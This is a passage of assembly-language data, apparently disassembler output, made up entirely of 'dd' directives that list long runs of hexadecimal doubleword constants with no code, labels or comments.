61FF25CBh, 2B0A29CBh, 2F0A29CBh dd 2AB29CBh, 3AB29CBh, 1EDC29CBh, 0ADF29CBh, 14DF29CBh dd 11929CBh, 21929CBh, 142C29CBh, 53529CBh, 14F29CBh, 34F29CBh dd 62D62ACBh, 52412BCBh, 0A0A05CBh, 337705CBh, 4D905CBh dd 24905CBh, 890032CBh, 180032CBh, 19037CBh, 0FE4637CBh dd 376337CBh, 636337CBh, 7BA38CBh, 78E938CBh, 41839CBh dd 177E3ACBh, 2183BCBh, 2013CCBh, 9013CCBh, 0B7F3DCBh dd 2863DCBh, 28E3DCBh, 48E3DCBh, 6F9B3DCBh, 14B43ECBh dd 3A43FCBh, 3FB3FCBh, 14D3FCBh, 17740CBh, 88A40CBh, 11A40CBh dd 31A40CBh, 0B10340CBh, 0FD3040CBh, 1F642CBh, 23D945CBh dd 825D45CBh, 1C607CBh, 0FA6447CBh, 16647CBh, 0FB7647CBh dd 18D47CBh, 18E47CBh, 18F47CBh, 19047CBh, 649147CBh, 0FD9647CBh dd 19E47CBh, 11047CBh, 0FDB647CBh, 1BA47CBh, 1C647CBh dd 1CC47CBh, 1CE47CBh, 1D047CBh, 6D347CBh, 1D447CBh, 1D547CBh dd 1DD47CBh, 0FEE147CBh, 2E847CBh, 1EF47CBh, 1F747CBh dd 1FA47CBh, 10347CBh, 13447CBh, 53F47CBh, 14847CBh, 0A4A47CBh dd 0C4A47CBh, 14E47CBh, 16047CBh, 36247CBh, 69948CBh, 0FDB048CBh dd 21A24ACBh, 11E44ACBh, 1EE04FCBh, 1C054CBh, 135257CBh dd 8DE159CBh, 19609CBh, 11BE09CBh, 0FAEE5BCBh, 87405BCBh dd 12161CBh, 12561CBh, 46A01CCh, 56A01CCh, 0A0201CCh, 0B1C01CCh dd 3B1C01CCh, 74064CCh, 26B65CCh, 18D65CCh, 189965CCh dd 39A65CCh, 199D65CCh, 2A065CCh, 1AC65CCh, 0AB365CCh dd 3B365CCh, 2BC65CCh, 3BC65CCh, 4BC65CCh, 4BE65CCh, 5BE65CCh dd 0AD765CCh, 0FED965CCh, 2E065CCh, 2CE465CCh, 1FB65CCh dd 2FB65CCh, 1C3665CCh, 24C65CCh, 4F4F65CCh, 25665CCh dd 15F65CCh, 413D66CCh, 14136BCCh, 23016FCCh, 24016FCCh dd 0A0171CCh, 23974CCh, 0BB075CCh, 0AD675CCh, 0E0676CCh dd 20676CCh, 43F76CCh, 53F76CCh, 19F077CCh, 8F077CCh, 27078CCh dd 0D77A78CCh, 10379CCh, 10679CCh, 12027BCCh, 2A027BCCh dd 8C07CCCh, 23C17CCCh, 1817FCCh, 2817FCCh, 1DC17FCCh dd 0AC080CCh, 7D7881CCh, 0A8081CCh, 0FE8181CCh, 0FDA683CCh dd 11183CCh, 1AAB83CCh, 11983CCh, 0C82E83CCh, 13283CCh dd 0F85283CCh, 0FCF385CCh, 0D8786CCh, 0A8886CCh, 5D686CCh dd 0E0E89CCh, 19738ACCh, 3CEF8ACCh, 4AA8CCCh, 6AA8CCCh dd 0E4B98CCCh, 8BC8CCCh, 9BD8CCCh, 3DC8CCCh, 3E78CCCh dd 4E78CCCh, 2678DCCh, 3678DCCh, 0AD88DCCh, 0CD88DCCh dd 0A3C8DCCh, 0B3C8DCCh, 0D2AC92CCh, 23AD92CCh, 0C3B092CCh dd 468093CCh, 4E8093CCh, 15093CCh, 55093CCh, 65093CCh dd 0A5195CCh, 55595CCh, 15F997CCh, 53D97CCh, 24897CCh dd 84897CCh, 116197CCh, 18F98CCh, 9BA698CCh, 40B898CCh dd 11899CCh, 24099CCh, 0AB4799CCh, 0AC4799CCh, 175199CCh dd 185199CCh, 0D039DCCh, 476C9FCCh, 476E9FCCh, 4368A1CCh dd 146BA1CCh, 0A04A1CCh, 0A34A1CCh, 1034A1CCh, 427CA2CCh dd 68A7A3CCh, 56C8A5CCh, 0A0D6A5CCh, 2D6A5CCh, 126FA6CCh dd 3BEA6CCh, 1EC3A6CCh, 7338A6CCh, 0B338A6CCh, 0F23DA6CCh dd 0F53DA6CCh, 91CA8CCh, 0DD911CCh, 5144AACCh, 2A8ABCCh dd 0F9A8ABCCh, 2BAABCCh, 41FABCCh, 230ABCCh, 630ABCCh dd 2267AECCh, 410AECCh, 212AECCh, 14DEAECCh, 15DEAECCh dd 1723AECCh, 140AECCh, 141AECCh, 1514B0CCh, 1A14B0CCh dd 220B1CCh, 320B1CCh, 3110B2CCh, 610B2CCh, 0BE5B4CCh dd 0CE5B4CCh, 298B5CCh, 3398B5CCh, 2B0B5CCh, 6B0B5CCh dd 2C0B5CCh, 4C0B5CCh, 0AC8B5CCh, 2C8B5CCh, 0A26B5CCh dd 0F26B5CCh, 0C900BACCh, 0CA00BACCh, 13BBBCCh, 23BBBCCh dd 0A58BBCCh, 0A54BDCCh, 854BDCCh, 255EBDCCh, 465EBDCCh dd 18A13CCh, 0CE0AC2CCh, 368C2CCh, 468C2CCh, 0E24C2CCh dd 2DCC9CCh, 0C885D0CCh, 0DC85D0CCh, 0E6B9D3CCh, 5DED3CCh dd 1ABD4CCh, 2ABD4CCh, 224D4CCh, 524D4CCh, 1B0D5CCh, 2B0D5CCh dd 14FAD5CCh, 15FAD5CCh, 905D6CCh, 23CD7CCh, 53CD7CCh dd 5D2DACCh, 18CDCCCh, 0B8CDCCCh, 172DDCCh, 0FF0DDCCh dd 32DDDCCh, 83F7E1CCh, 1B6E3CCh, 1578EECCh, 578EECCh dd 1A7EFCCh, 0BA7EFCCh, 1BEF1CCh, 2DAF1CCh, 294F2CCh, 8103F4CCh dd 4263F4CCh, 1401F6CCh, 14F7F7CCh, 0A3CF8CCh, 93CF8CCh dd 0AEEF9CCh, 0BEEF9CCh, 28AFBCCh, 68AFBCCh, 0CC8FBCCh dd 28CCFBCCh, 2CEFBCCh, 2EFFBCCh, 3EFFBCCh, 25DFBCCh, 0A53FDCCh dd 6453FDCCh, 176FECCh, 0FBAFFECCh, 5A571ACCh, 0FA8C1DCCh dd 0FB8C1DCCh, 1B91DCCh, 8B91DCCh, 1011FCCh, 2CB1FCCh dd 21620CCh, 0D44221CCh, 51D322CCh, 4E722CCh, 0CB1024CCh dd 1F932CCh, 1FA32CCh, 10133CCh, 24239CCh, 24339CCh, 144339CCh dd 0DE013BCCh, 0DE903BCCh, 0DE403BCCh, 2003CCCh, 3003CCCh dd 65CD3DCCh, 78CD3DCCh, 0A203ECCh, 0C8B540CCh, 20343CCh dd 20B444CCh, 1E344CCh, 1EA45CCh, 18046CCh, 45B046CCh dd 0EA1946CCh, 0EA3146CCh, 0F23946CCh, 0F86447CCh, 36447CCh dd 36A47CCh, 197447CCh, 227647CCh, 0B7747CCh, 27F47CCh dd 59A47CCh, 29C47CCh, 49C47CCh, 39D47CCh, 0A1347CCh, 141347CCh dd 21C847CCh, 2D147CCh, 2D447CCh, 22D47CCh, 24447CCh, 34447CCh dd 8A4B47CCh, 125847CCh, 15C47CCh, 0A8048CCh, 0B8048CCh dd 33749CCh, 14A49CCh, 1654ACCh, 12814DCCh, 0A204ECCh dd 0B0051CCh, 81453CCh, 91453CCh, 78058CCh, 16F5ACCh, 26F5ACCh dd 6145ACCh, 60B5BCCh, 2745BCCh, 50E5BCCh, 60E5BCCh, 49B5BCCh dd 2135BCCh, 42E85BCCh, 64F05BCCh, 65F05BCCh, 3485BCCh dd 0B555BCCh, 9555BCCh, 8C635BCCh, 13D65ECCh, 23D65ECCh dd 1ED35FCCh, 21061CCh, 0AD461CCh, 2E361CCh, 3E361CCh dd 6E361CCh, 25C61CCh, 35C61CCh, 2FC7CCDh, 2FE7CCDh, 21083CDh dd 3B183CDh, 3BC83CDh, 6BC83CDh, 119585CDh, 22688CDh, 53089CDh dd 73089CDh, 0C86E8ACDh, 0C96E8ACDh, 0CA6E8ACDh, 0C1768ACDh dd 2DB8ACDh, 42E68ACDh, 81D8BCDh, 1048BCDh, 0F048BCDh dd 1938CCDh, 32818DCDh, 86092CDh, 96092CDh, 222A96CDh dd 232A96CDh, 21097CDh, 31097CDh, 97CD97CDh, 82DE97CDh dd 83DE97CDh, 0FADE97CDh, 0FBDE97CDh, 140098CDh, 50098CDh dd 3A0098CDh, 80098CDh, 0BC9098CDh, 0FC9098CDh, 141098CDh dd 81098CDh, 0BCF498CDh, 0FCF498CDh, 142098CDh, 82098CDh dd 5109ECDh, 82309ECDh, 83A99FCDh, 7A99FCDh, 11AE9FCDh dd 2BCA0CDh, 2BFA0CDh, 1EAA0CDh, 0AEAA0CDh, 2F8A0CDh, 257A0CDh dd 6272A1CDh, 274A1CDh, 478A1CDh, 578A1CDh, 2AEA1CDh, 0E2B8A1CDh dd 2BCA1CDh, 2C8A1CDh, 3C8A1CDh, 2D8A1CDh, 4D8A1CDh, 2B8A2CDh dd 4BEA2CDh, 26E2A6CDh, 823DA6CDh, 8C3DA6CDh, 35CA7CDh dd 75CA7CDh, 0C30EABCDh, 0FA10ABCDh, 907ABCDh, 1448ABCDh dd 1548ABCDh, 0F109ABCDh, 0F209ABCDh, 0AB0ADCDh, 2E6ADCDh dd 20F8ADCDh, 23AADCDh, 3DCAFCDh, 1E1AFCDh, 6484B0CDh dd 0A0AB1CDh, 4676B1CDh, 226B1CDh, 270B2CDh, 370B2CDh dd 0A65B5CDh, 0B65B5CDh, 0A6C7B5CDh, 0AF2B5CDh, 7E05B5CDh dd 8105B5CDh, 0A48B5CDh, 134CB5CDh, 0FD4EB5CDh, 0A6BB6CDh dd 7D1FB7CDh, 0E89DBCCDh, 0E99DBCCDh, 0EC9DBCCDh, 3F0BDCDh dd 0AC2BFCDh, 9C2BFCDh, 2C1C7CDh, 1DCC7CDh, 4110C8CDh dd 4510C8CDh, 1401C9CDh, 0AE4CBCDh, 0AE5CBCDh, 0E541CBCDh dd 0E641CBCDh, 0F096CFCDh, 95ACFCDh, 82E8D2CDh, 128D3CDh dd 646CD5CDh, 64A3D5CDh, 422AD6CDh, 0A2DD6CDh, 62DD6CDh dd 1033D6CDh, 4205D7CDh, 536D8CDh, 150D8CDh, 250D8CDh dd 152D8CDh, 163D9CDh, 263D9CDh, 327BDACDh, 1BADBCDh, 22C6DBCDh dd 554DBCDh, 754DBCDh, 0FE80DDCDh, 0E792DDCDh, 0A0FDDCDh dd 996DDCDh, 19EDDCDh, 1A5DDCDh, 1DEDDCDh, 1E2DDCDh, 0BA1EDDCDh dd 0BB1EDDCDh, 128DDCDh, 4638DDCDh, 14ADDCDh, 0D15ADDCDh dd 15CDDCDh, 0F60DDCDh, 4105DECDh, 4305DECDh, 0D182E1CDh dd 42BAE3CDh, 342BE3CDh, 470CE4CDh, 480CE4CDh, 0A8CE6CDh dd 0C8CE6CDh, 46BE7CDh, 64A0E7CDh, 65A0E7CDh, 1ECE7CDh dd 276DE9CDh, 286DE9CDh, 1EB6ECCDh, 1BEECCDh, 2780EECDh dd 2A80EECDh, 0EABBF2CDh, 0EBBBF2CDh, 0AF6F2CDh, 25AF2CDh dd 65DCF3CDh, 19AF4CDh, 39AF4CDh, 0ABCF4CDh, 3C8F4CDh dd 212F6CDh, 1E12F6CDh, 0C13F6CDh, 2513F6CDh, 178F7CDh dd 6405FACDh, 0FB05FACDh, 0DC82FCCDh, 0E490FCCDh, 65A44CDh dd 415F44CDh, 56401CEh, 0CA601CEh, 41B01CEh, 2360ACEh dd 20A64CEh, 22464CEh, 15C64CEh, 426865CEh, 27165CEh, 67165CEh dd 17665CEh, 4A7965CEh, 2A965CEh, 1CC65CEh, 5CE65CEh, 5ACE65CEh dd 3E865CEh, 4E865CEh, 32F265CEh, 3CF265CEh, 212965CEh dd 24E65CEh, 0E65A65CEh, 0EF5A65CEh, 0E7F66CEh, 107F66CEh dd 28066CEh, 38066CEh, 0C8266CEh, 0D8266CEh, 19C66CEh dd 67067CEh, 77067CEh, 23C969CEh, 14CB69CEh, 1FCB69CEh dd 2B26BCEh, 1016DCEh, 41076DCEh, 5E950BCEh, 2AA00BCEh dd 5A00BCEh, 1280BCEh, 22016ECEh, 25016ECEh, 0B126FCEh dd 3156FCEh, 4156FCEh, 12F86FCEh, 13F86FCEh, 5046FCEh dd 10170CEh, 20170CEh, 68C070CEh, 0CA4B70CEh, 227875CEh dd 14B275CEh, 15B275CEh, 25575CEh, 0A0880CCEh, 99AF0CCEh dd 21F0CCEh, 0A4079CEh, 24079CEh, 64267BCEh, 42267BCEh dd 0A067BCEh, 0B067BCEh, 21007CCEh, 2E07CCEh, 2E27CCEh dd 1407CCEh, 0AA87ECEh, 65207ECEh, 0C8207ECEh, 21207FCEh dd 22207FCEh, 82407FCEh, 83407FCEh, 0D2C080CEh, 0D4C080CEh dd 0D6C080CEh, 0B1C0DCEh, 0B1D0DCEh, 22C0DCEh, 0AD183CEh dd 9E583CEh, 9E683CEh, 6ED83CEh, 9ED83CEh, 825E84CEh, 2D9786CEh dd 25698ACEh, 26698ACEh, 32698ACEh, 33698ACEh, 96E08ACEh dd 33CA8BCEh, 2FB8DCEh, 13091CEh, 323091CEh, 2A296CEh dd 6C396CEh, 437097CEh, 0C88697CEh, 0A9897CEh, 99897CEh dd 19A97CEh, 0B1097CEh, 21097CEh, 0BAC97CEh, 5E397CEh dd 0FDFA97CEh, 2FE97CEh, 142697CEh, 10497CEh, 74497CEh dd 16E98CEh, 17098CEh, 1B698CEh, 2B698CEh, 2F198CEh, 1F298CEh dd 2FC98CEh, 0FD4699CEh, 50899CEh, 80899CEh, 20E19CCEh dd 1E69CCEh, 2E69CCEh, 8049CCEh, 0C8939DCEh, 0CC939DCEh dd 0E7C9ECEh, 27C9ECEh, 20F9ECEh, 8980A1CEh, 4284A1CEh dd 158BA1CEh, 35EFA1CEh, 23BA1CEh, 93EA1CEh, 23FA1CEh dd 332A3CEh, 2A6A5CEh, 4A6A5CEh, 0A06A5CEh, 6464A6CEh dd 6469A6CEh, 0C811A6CEh, 2C5A6CEh, 1F9A6CEh, 8F9A6CEh dd 1653A6CEh, 2B2AACEh, 5B2AACEh, 423EAACEh, 268ABCEh dd 26AABCEh, 1E7CABCEh, 0AA0ABCEh, 3ABABCEh, 2B0ABCEh dd 2BEABCEh, 3BEABCEh, 502ABCEh, 14DDABCEh, 15DDABCEh dd 0BBE8ABCEh, 236ABCEh, 0A43ABCEh, 9850ABCEh, 0A53ABCEh dd 4877ADCEh, 4E8AADCEh, 7688AFCEh, 2294B0CEh, 6A2B4CEh dd 9A2B4CEh, 82C0B4CEh, 1CFB4CEh, 5CFB4CEh, 0D8E0B4CEh dd 3D0B5CEh, 4216B5CEh, 1221B5CEh, 260B5CEh, 8562B5CEh dd 8662B5CEh, 7E0B7CEh, 8E0B7CEh, 0AE2B7CEh, 27ABACEh dd 196BACEh, 8C00BFCEh, 0D200BFCEh, 2A00BFCEh, 1C1BFCEh dd 2C1BFCEh, 0E152BFCEh, 0E252BFCEh, 0E153BFCEh, 0D0AC2CEh dd 0E0AC2CEh, 180C4CEh, 0B51C5CEh, 0F113C9CEh, 9D2CCCEh dd 3EBCCCEh, 604CCCEh, 84F2CDCEh, 0C3AD0CEh, 0D3AD0CEh dd 26E15CEh, 50D15CEh, 900E15CEh, 14AE15CEh, 15AE15CEh dd 0FAC015CEh, 14D215CEh, 0C6E415CEh, 25E15CEh, 327BD3CEh dd 327ED3CEh, 28FD8CEh, 180DDCEh, 42F0DDCEh, 201DECEh dd 301DECEh, 3261DECEh, 5261DECEh, 5E61DECEh, 0AB3E4CEh dd 0AD0E4CEh, 2D4E4CEh, 0AE0E5CEh, 0A90E7CEh, 1490E7CEh dd 0B92E7CEh, 0C92E7CEh, 42B2E7CEh, 22B6E7CEh, 0C813E7CEh dd 9FAE7CEh, 141E7CEh, 241E7CEh, 208E7CEh, 308E7CEh, 0A2A418CEh dd 92C0F1CEh, 0ABC0F1CEh, 5B7F4CEh, 7C2F6CEh, 0A6EF8CEh dd 34B719CEh, 1CE19CEh, 2E219CEh, 1A2FBCEh, 1C0FBCEh, 3C0FBCEh dd 1408FBCEh, 1808FBCEh, 0B80FCCEh, 580FCCEh, 5C0FCCEh dd 6C0FCCEh, 41C2FDCEh, 61C2FDCEh, 1E1FDCEh, 0FBE1FDCEh dd 3CEDFDCEh, 15EFDCEh, 15FFDCEh, 0A5FFDCEh, 0FE21ACEh dd 22241ACEh, 429D1CCEh, 1B741DCEh, 1B21DCEh, 24D1DCEh dd 0A621DCEh, 3C621DCEh, 2A31ECEh, 2DC1ECEh, 0C611ECEh dd 0F611ECEh, 0E0A1FCEh, 0F0A1FCEh, 196F1FCEh, 1C801FCEh dd 0FA841FCEh, 0A8B1FCEh, 0B8B1FCEh, 29A1FCEh, 1BE1FCEh dd 15BE1FCEh, 2C01FCEh, 3C01FCEh, 2C11FCEh, 1021FCEh, 2021FCEh dd 1CC1FCEh, 0BCC1FCEh, 2D81FCEh, 1161FCEh, 0AE61FCEh dd 0AEC1FCEh, 1FE1FCEh, 31A1FCEh, 11C1FCEh, 13201FCEh dd 6201FCEh, 0EF2B1FCEh, 12F1FCEh, 2321FCEh, 1381FCEh dd 0A631FCEh, 2B222CEh, 0FB522CEh, 10B522CEh, 44CE25CEh dd 45CE25CEh, 32326CEh, 228029CEh, 268029CEh, 64B029CEh dd 0DFE2ECEh, 2742FCEh, 30F2FCEh, 0B0962FCEh, 0E1962FCEh dd 21EF2FCEh, 0EA5E31CEh, 0FA3832CEh, 11633CEh, 11B33CEh dd 30434CEh, 1E036CEh, 2003DCEh, 4003DCEh, 0A6C3DCEh, 0B8C3DCEh dd 0B9B3DCEh, 6E9E3DCEh, 5B23DCEh, 0CDF3DCEh, 3233DCEh dd 2E0A42CEh, 5E0A42CEh, 1E0C42CEh, 240C42CEh, 0FEF042CEh dd 0C81F07CEh, 0E6FB46CEh, 0BA147CEh, 2A147CEh, 24D47CEh dd 228048CEh, 628048CEh, 2FE4ACEh, 0C8D84BCEh, 0D2D84BCEh dd 2924ECEh, 2404ECEh, 27AB4FCEh, 0AE64FCEh, 32074FCEh dd 0F5A750CEh, 5A053CEh, 7A053CEh, 0C6053CEh, 18D57CEh dd 21057CEh, 220058CEh, 420058CEh, 647009CEh, 657009CEh dd 644009CEh, 684009CEh, 0B5009CEh, 25409CEh, 26C60CEh dd 1E260CEh, 6E260CEh, 103E60CEh, 0A7262CEh, 147262CEh dd 28A62CEh, 38A62CEh, 2A762CEh, 24CA62CEh, 47CA62CEh dd 49CA62CEh, 19163CEh, 1AB63CEh, 0AAB63CEh, 214263CEh dd 0B78100CFh, 0BE8100CFh, 0FCE500CFh, 197A01CFh, 228601CFh dd 0A3A001CFh, 45C701CFh, 23C01CFh, 154901CFh, 2E800ACFh dd 2F800ACFh, 7C5065CFh, 625065CFh, 18166CFh, 828166CFh dd 28166CFh, 20067CFh, 90B67CFh, 43CE67CFh, 0A9768CFh dd 2BD69CFh, 2016ACFh, 3A556DCFh, 3B556DCFh, 3C700BCFh dd 2B070BCFh, 34070BCFh, 80006ECFh, 3C006ECFh, 3A06FCFh dd 4A06FCFh, 17E86FCFh, 52F870CFh, 98671CFh, 30DD73CFh dd 6D0279CFh, 2D979CFh, 8AF179CFh, 23479CFh, 43479CFh dd 325A79CFh, 4B497ACFh, 92697ECFh, 0A2607ECFh, 8657FCFh dd 285F82CFh, 57484CFh, 3C7484CFh, 0F59485CFh, 0F59685CFh dd 0F5F885CFh, 0F54285CFh, 24748ACFh, 14948CCFh, 0A088CCFh dd 3088CCFh, 0C9018DCFh, 6688DCFh, 0B6B8DCFh, 86E8DCFh dd 2968DCFh, 3968DCFh, 0A998DCFh, 1E998DCFh, 0AB18DCFh dd 14148DCFh, 2C98DCFh, 2178DCFh, 1188DCFh, 2188DCFh, 22FA8DCFh dd 2FD8DCFh, 65048DCFh, 0FC058DCFh, 2378DCFh, 0B388DCFh dd 0C388DCFh, 3E3E8DCFh, 11D00FCFh, 12D00FCFh, 4C096CFh dd 0FACA96CFh, 29897CFh, 12ED97CFh, 964F97CFh, 7ECE99CFh dd 48B79BCFh, 49B79BCFh, 48B89BCFh, 3029BCFh, 28C09ECFh dd 0A809FCFh, 2809FCFh, 7BAB9FCFh, 59AB9FCFh, 17B49FCFh dd 665E9FCFh, 307A4CFh, 907A4CFh, 0F050A4CFh, 2160A5CFh dd 2760A5CFh, 335A6CFh, 5036A6CFh, 25DA8CFh, 35DA8CFh dd 813E11CFh, 0A2D2AACFh, 0A00ABCFh, 900ABCFh, 280ABCFh dd 580ABCFh, 84B2ABCFh, 4747ABCFh, 1403ACCFh, 1503ACCFh dd 1603ACCFh, 3E0ADCFh, 3E1ADCFh, 256ADCFh, 0A22AFCFh dd 2C24AFCFh, 0B28AFCFh, 0BBEB3CFh, 0CBEB3CFh, 4BC12CFh dd 2D812CFh, 465B5CFh, 565B5CFh, 2C1B5CFh, 259B5CFh, 359B5CFh dd 226B6CFh, 0FEF9B7CFh, 3F9B7CFh, 221B7CFh, 1480BDCFh dd 1AABDCFh, 3AABDCFh, 0A01BFCFh, 82C0BFCFh, 84C0BFCFh dd 0A32BFCFh, 279C1CFh, 1C3C1CFh, 3A1C2CFh, 4A1C2CFh, 0AC6C2CFh dd 0DCC6C2CFh, 1C8C2CFh, 81C8C2CFh, 0E61CC2CFh, 106C2CFh dd 206C2CFh, 7DEC6CFh, 24FDC6CFh, 2A902CFh, 3A902CFh, 4DD02CFh dd 5DD02CFh, 0C87F14CFh, 5049C8CFh, 240CACFh, 0DEF7CDCFh dd 0A01D3CFh, 2A0D3CFh, 2F3D3CFh, 403CD3CFh, 413CD3CFh dd 7120D5CFh, 0B3CD5CFh, 157ED6CFh, 0D78D9CFh, 0B7ED9CFh dd 0C4DD9CFh, 262DACFh, 14E1E4CFh, 0C1ECE4CFh, 2A23E4CFh dd 0C325E4CFh, 8140E4CFh, 2B40E4CFh, 2F4E6CFh, 231E6CFh dd 331E6CFh, 224BE6CFh, 324BE6CFh, 1B86E7CFh, 0B80E9CFh dd 0BA8E9CFh, 210EBCFh, 5D9ECCFh, 2230EECFh, 0B2F518CFh dd 0B3F518CFh, 3C05F0CFh, 3A0F1CFh, 22A0F1CFh, 0FF0F1CFh dd 14F0F1CFh, 268F3CFh, 26BF3CFh, 74CF6CFh, 84CF6CFh, 47E0F8CFh dd 48E0F8CFh, 9B4419CFh, 190FBCFh, 290FBCFh, 0BC9FBCFh dd 0CC9FBCFh, 1679FCCFh, 1779FCCFh, 0B14FCCFh, 360FCCFh dd 0D1EF1CCFh, 1CC21DCFh, 1EC21DCFh, 24F03CFh, 18020CFh dd 0A5920CFh, 2B322CFh, 3B322CFh, 3F7826CFh, 92D26CFh dd 27829CFh, 28029CFh, 3E0E29CFh, 441229CFh, 2C529CFh dd 7C529CFh, 20229CFh, 0A1829CFh, 10F129CFh, 4C2829CFh dd 142929CFh, 0F82929CFh, 14029CFh, 24029CFh, 0A4C29CFh dd 0C4C29CFh, 0A5629CFh, 0B5629CFh, 1002CCFh, 0B8A2ECFh dd 0C8A2ECFh, 56833CFh, 0A8033CFh, 0B8033CFh, 18133CFh dd 28233CFh, 28633CFh, 158833CFh, 178833CFh, 20E33CFh dd 30E33CFh, 4C733CFh, 31C933CFh, 84E433CFh, 5E433CFh dd 1E533CFh, 16EC33CFh, 42F233CFh, 43F233CFh, 2F833CFh dd 24733CFh, 664833CFh, 684833CFh, 34F33CFh, 44F33CFh dd 35033CFh, 0A5433CFh, 0CD5433CFh, 35633CFh, 15833CFh dd 29F36CFh, 49F36CFh, 1013BCFh, 0A6A3DCFh, 0B6A3DCFh dd 26D3DCFh, 0A933DCFh, 14933DCFh, 42953DCFh, 0FE963DCFh dd 5A63DCFh, 0FEA93DCFh, 0BC63DCFh, 0F0D13DCFh, 2F43DCFh dd 3F43DCFh, 96323DCFh, 23B3DCFh, 23C3DCFh, 24A3DCFh, 22E41CFh dd 0AA343CFh, 0B3843CFh, 0C3843CFh, 0C0BC45CFh, 0C1BC45CFh dd 0BAC245CFh, 0D2C845CFh, 0D3C845CFh, 52007CFh, 0E32807CFh dd 34007CFh, 792C47CFh, 0A5C4ACFh, 18A44CCFh, 38C4DCFh dd 0A5A4DCFh, 0B5A4DCFh, 666B4ECFh, 96A94ECFh, 2BA08CFh dd 5C008CFh, 3EC008CFh, 0BAC508CFh, 96C652CFh, 0E7F56CFh dd 9F9156CFh, 0A09156CFh, 53C58CFh, 0D8059CFh, 0A0F59CFh dd 140F59CFh, 14055BCFh, 0FC055BCFh, 3B055BCFh, 218062CFh dd 0B8162CFh, 868162CFh, 0C88162CFh, 4D8162CFh, 24162CFh dd 10063CFh, 20063CFh, 29100D0h, 83800D0h, 93800D0h, 0B7001D0h dd 27001D0h, 47201D0h, 0A8301D0h, 0D8301D0h, 28801D0h dd 0FB8B01D0h, 230E01D0h, 28AF01D0h, 2D801D0h, 31701D0h dd 2E601D0h, 2E701D0h, 2FA01D0h, 2FE01D0h, 10601D0h, 0F3C01D0h dd 103C01D0h, 425601D0h, 825701D0h, 0F5B01D0h, 0A800AD0h dd 0A910AD0h, 1BE0AD0h, 0A360AD0h, 2720BD0h, 478E0BD0h dd 488E0BD0h, 0C8900BD0h, 81DE0BD0h, 0AE80BD0h, 0CF40BD0h dd 0B480BD0h, 0C480BD0h, 1570BD0h, 0E9640CD0h, 0EA640CD0h dd 0A6F80D0h, 0B6F80D0h, 11081D0h, 0F51081D0h, 0AFF81D0h dd 9FF81D0h, 0A5082D0h, 20982D0h, 26B83D0h, 0BE983D0h dd 0CE983D0h, 21983D0h, 22883D0h, 102A83D0h, 112A83D0h dd 0FE3083D0h, 73283D0h, 80683D0h, 90683D0h, 0A4483D0h dd 34883D0h, 0C24A83D0h, 34A83D0h, 436985D0h, 25085D0h dd 6B986D0h, 8B986D0h, 7DF86D0h, 0AF586D0h, 2F586D0h, 18187D0h dd 1A687D0h, 0B00089D0h, 0B10089D0h, 68089D0h, 88089D0h dd 70289D0h, 27D8AD0h, 37D8AD0h, 10828AD0h, 0B998AD0h dd 0F04E8AD0h, 0F14E8AD0h, 0EBF0ED0h, 0FBF0ED0h, 72D60ED0h dd 5D90ED0h, 9F98CD0h, 1638CD0h, 41688DD0h, 41858DD0h dd 1A08DD0h, 45A38DD0h, 0ACC8DD0h, 3D48DD0h, 1EA8DD0h dd 0C82E8DD0h, 2358DD0h, 3358DD0h, 0A428DD0h, 24F8DD0h dd 0A088DD0h, 0AF38ED0h, 11F48ED0h, 2F48ED0h, 1408ED0h dd 28DE8FD0h, 29DE8FD0h, 0A318FD0h, 0B318FD0h, 1EFC90D0h dd 1FFC90D0h, 43AF91D0h, 48AF91D0h, 38492D0h, 48492D0h dd 6E2D92D0h, 29093D0h, 29B93D0h, 1D593D0h, 64D593D0h dd 818C94D0h, 82BD94D0h, 5F995D0h, 6F995D0h, 16D0FD0h dd 66D0FD0h, 23C96D0h, 3C297D0h, 0AC497D0h, 2EC97D0h, 463097D0h dd 503097D0h, 414597D0h, 0FEC899D0h, 1EC899D0h, 54E99D0h dd 3B39AD0h, 24C9AD0h, 1089DD0h, 5039FD0h, 5AE10D0h, 42D1A0D0h dd 56D1A0D0h, 225EA0D0h, 2A5EA0D0h, 174A1D0h, 274A1D0h dd 8378A1D0h, 390A1D0h, 29CA1D0h, 29FA1D0h, 3C9A1D0h, 4C9A1D0h dd 0DCCCA1D0h, 0DDCCA1D0h, 1E1A1D0h, 0AF0A1D0h, 1120A1D0h dd 0B2CA1D0h, 33AA1D0h, 43AA1D0h, 645A1D0h, 1446A1D0h dd 24FA1D0h, 1454A1D0h, 3255A1D0h, 7D77A2D0h, 7DFA2D0h dd 940A3D0h, 0BC2A5D0h, 145A5D0h, 24FA5D0h, 0B24A9D0h dd 20DABD0h, 0A89ABD0h, 1489ABD0h, 1CBABD0h, 2D8ABD0h dd 5E9ABD0h, 1F00ACD0h, 0F550B0D0h, 0F650B0D0h, 78EB2D0h dd 13012D0h, 23012D0h, 45E12D0h, 0F964B5D0h, 0FD64B5D0h dd 0FD75B5D0h, 383B5D0h, 483B5D0h, 683B5D0h, 229CB5D0h dd 239CB5D0h, 2AAB5D0h, 0E1AEB5D0h, 2BFB5D0h, 2D8B5D0h dd 12FB5D0h, 0C2FB5D0h, 0C3BB5D0h, 0D3BB5D0h, 13DB5D0h dd 23DB5D0h, 147B5D0h, 27AB6D0h, 0A701B8D0h, 1BEB8D0h dd 0FE72B9D0h, 268BDD0h, 2D1BDD0h, 3D1BDD0h, 0FC6B13D0h dd 0FD6B13D0h, 108513D0h, 118513D0h, 16EBFD0h, 1419BFD0h dd 120BFD0h, 323BFD0h, 2424BFD0h, 32FBFD0h, 0A57BFD0h dd 0B57BFD0h, 20EC1D0h, 2B1C2D0h, 2C7C3D0h, 0A74C5D0h dd 27002D0h, 27E02D0h, 0B4D02D0h, 22314D0h, 32314D0h, 0BE0C9D0h dd 21E0C9D0h, 0C88CBD0h, 2C9CBD0h, 24ECDD0h, 34ECDD0h dd 6443CFD0h, 6B2FD0D0h, 6C2FD0D0h, 0A0A15D0h, 27015D0h dd 1B715D0h, 2B715D0h, 10B915D0h, 22BE15D0h, 23BE15D0h dd 0A9DD15D0h, 0D2E715D0h, 51B15D0h, 0A2E15D0h, 193715D0h dd 0B3C15D0h, 9015D6D0h, 0AD3D9D0h, 3AE216D0h, 28C0DCD0h dd 3A6DFD0h, 2E2E1D0h, 2EFE1D0h, 0B9E4E4D0h, 0E5E6E5D0h dd 0A7017D0h, 27017D0h, 147617D0h, 87617D0h, 29017D0h dd 0FDD417D0h, 1F4E6D0h, 0C60E7D0h, 0BA0EBD0h, 48A0EBD0h dd 0AF8EBD0h, 6F8EBD0h, 0A60EBD0h, 343ECD0h, 323EDD0h dd 266EED0h, 15E2EFD0h, 864EEFD0h, 250EFD0h, 30CF2D0h 